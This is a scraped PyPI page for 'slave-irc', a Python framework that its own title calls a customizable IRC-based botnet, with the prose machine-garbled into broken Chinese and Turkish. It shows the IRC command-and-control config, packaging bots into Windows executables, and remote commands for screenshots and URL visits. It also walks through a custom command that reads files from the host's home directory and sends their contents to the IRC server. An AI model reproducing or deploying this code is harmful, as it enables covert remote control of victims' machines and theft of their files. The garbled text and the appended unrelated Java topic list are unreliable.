基于irc的可定制僵尸网络框架

slave-irc的Python项目详细描述


从机

奴隶,python ile yaz_lm_zelle_tirilebilir bot olu_turmaya yarayan bir yaz_l_md_r.IRCprotokolüzerinden,yaz_lan botlar ile haberle_ir。

尤克莱姆

皮皮勒库鲁姆

$ pip install slave-irc

局部库鲁姆

$ git clone https://github.com/bufgix/slave
$ cd slave
$ python setup.py install

从机,gerek可执行文件dosya olu_turmada gerekse ba_ml_kl_lar_kurmadapipenvi kullan_r.pipenvhakk_ndaha fazla bilgiyeburadanula_abirirsiniz。

库伦m

波托鲁图尔马盆地

# basic_bot.pyfromslave.lib.botimportBotV2config={'host':'chat.freenode.net','port':6667,'channel':"#slavebotpool666",'boss_name':'boss666','bot_prefix':"SLAVEBOT"}BotV2.read_config_from_dict(config)BotV2.start()

config

KeyValue
^{}IRC server (varsayılan ^{})
^{}IRC server portu (varsayılan ^{})
^{}Bağlanılacak kanal ismi. (varsayılan ^{})
^{}Botları yönetecek kullanıcın ismi (varsayılan ^{})
^{}Bot ön eki (varsayılan ^{})

圣多西娅·图尔玛


奴隶,Direkt Olarak_al_t_rabilir dosya olu_turman_za olanak saglar。布努亚帕伦PyInstaller库兰r.

Yukar_da Yazd_m_z Botu_al_t_r_labilir dosya Yapmak i_in:

$ python -m slave basic_bot.py
[i] Source: C:\Users\user\your_bot\basic_bot.py
[i] Creating executable file...
[*] Created executable file. Check C:\Users\user\path\your_bot\dist

奥卢·安南{}迪齐尼尼·安达{}多西亚斯·阿特·库兰·马哈兹

basic_bot.exeyi_al_t_rd_ktan Sonra 5-10 Saniye i_indeconfigde Belirledi_ekilde irc'ye ba_r.

布拉丹sonra configde beilledi bos_nameile ayn_olaak irc服务器ve channel'e girin。埃米尔·维梅耶·巴雷亚比利尔辛尼兹。

不合格品

奴隶,奴隶

$info bfr24s
$visit bfr24s https://google.com

吉比。Komuttan Sonraki ilk parametre generate verece ghoinin botun idsini al_r.e_er bün botlara bu komutu vermek istiyorsan_zbot_idyerine/allYazabilirisiniz.

$visit /all https://google.com

BOtV2在Sa_lad_komutlar ve kullan_mlar_a_a_daki Gibidir

CommandDescSyntax
quitKill bot^{}
infoInformation of bot machine^{}
messageMessage show with tkinter^{}
visitOpen url with webbroser^{}
screenshotTake sceenshot and send your email(Only Gmail)^{}
helpHelp text of command^{}

博特拉·恩茨·赫尔·耶尔登·约内特比利西尼兹

肯迪·科穆特拉姆·亚扎尔·姆?

奴隶,肯迪泽尔·博图努祖·亚兹曼·萨马拉。Bunu Yapmak i_i n Bots_n_f_n_n @register减速器'unu Kullanman_z gerekir。

imdi kendimiz bir komut yazal_m.yazaca_m_z komut argüman olak verdi_imiz dosya ismini okuyup i_indekileri servera g_ndersin.Komutun sóz Dizimi_yle Olsun公司。

$read [/all | <bot_id>] <file_name>
# bot_custom.pyfromslave.lib.botsimportBotBasicconfig={'host':'chat.freenode.net','port':6667,'channel':"#slavebotpool666",'boss_name':'boss666','bot_prefix':"SLAVEBOT"}BotBasic.read_config_from_dict(config)BotBasic.bot_type="MyCustomBot"@BotBasic.register('read',all=True,on_connect=False,help_text="Read from file $read [/all | <bot_id>] <file_name>")defread_file(bot,args):passBotBasic.start()

绿绿绿绿党{}亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲亲。拉尔。on_connect=bu,e_e r true ise yazd_n_z komut servera ba_land_anda_al_l_r.help_text=ise komutumuzun imzas_d_r.burada komutun nas_l kullan_laca_hakk_bilnda gi verebiliniz。

komut fonksyonu iki parametre almak zorundad_r.birinci parametre olak Botobjesi al_r.bu server ile bot aras_nda ileti_imi sa_lar。

bot.send_text(text: str) -> None

服务器文本Mesaj_góndermeyi Sa_lar。

bot.exit_server() -> None

Botun服务器dan Ayr_lmas_n_sa_lar

bot.send_command_help() -> None

奥兰·科穆特拉夫·比尔吉列里尼·塞尔瓦·根德尔。

kinci argüman olan args argüman listensini al_r.

img

imdi komutumuzu yazmaya devam edelim

frompathlibimportPath...@BotBasic.register('read',all=True,on_connect=False,help_text="Read from file $read [/all | <bot_id>] <file_name>")defread_file(bot,args):path=str(Path(f"~/{args[1]}").expanduser())withopen(path,'r')asf:bot.send_text(f.read())...

她的“Ey Haz”R.Imdi试验等。

$ python bot_custom.py

file.txt

Im secret
Don't read me

img

塔比·多斯耶·奥库姆达南斯·瓦尔·奥卢普·奥尔马德·恩·康特罗尔·埃特梅克·内姆利迪尔。奥尔玛雅博多西亚埃里梅耶萨尔博特,塞尔拉哈伯勒梅耶凯塞克蒂尔酒店(Servla Haberle_meyi Kesecektir)。

Yukardakiórnekte daha az komut oldu_unu górmüsünüzdür.bunun nedeniBotBasics_n_n_nBotV2ye góre daha az komut i_mesi.赫姆肯迪·科穆特拉·恩·兹·赫姆·德BotV2德基·斯坦达特·科穆特拉·比尔·蒂尔梅克·伊辛

fromslave.lib.botsimportBotBasic,BotV2...BotBasic.use_other_bot_commands(BotV2)BotBasic.start()

img

博图努祖·哈兹·奥尔杜奥努努杜努努努努努努努约尔桑·阿尔茨美术馆(Botunuzun Haz_r Oldu_unu dünyorsan_z Art_kçalıştırılabilir dosyaYapabilirsiniz)。

许可证:MIT

欢迎加入QQ群-->: 979659372 Python中文网_新手群

推荐PyPI第三方库


热门话题
java使用ContentExchange设置请求属性   java Spark/Hdfs/Hdfsclient兼容性   java springcloudstreamkafka配置:instanceCount和instanceIndex   Java中web服务序列化日期   java用动态数据替换占位符   java git gc似乎覆盖了一个packfile,留下了一个打开的文件描述符,其中包含对“oldxxx.pack”的引用   为什么Apache项目对Java版本敏感?   java Anylogic帮助如何在导入的3dobject通过输送机上的多个“站”时更改其颜色?   JavaEclipseNeonM2E可以导入一个大型项目,但似乎不能自动解决依赖关系   java@FindBy搜索具有满足条件的子元素的元素   java如何将ActionEvent e与键绑定一起使用?   java转换以集中方式从外部库抛出的异常   java中用户文件/数据文件与系统/程序文件的区别   java使用变量字符串或字符作为对象名   字体使用Java图形操纵字符串中每个字符的形状   JavaFX图表移动数据   java RandomAccessFile:将所有项设置为相同的字节数?   java Google Play inapp Billing onPurchasesUpdated()错误响应代码1   java在不知道属性名和属性数的情况下处理json对象   java是否可以一次从HazelcastInstance(映射和列表)中删除所有数据?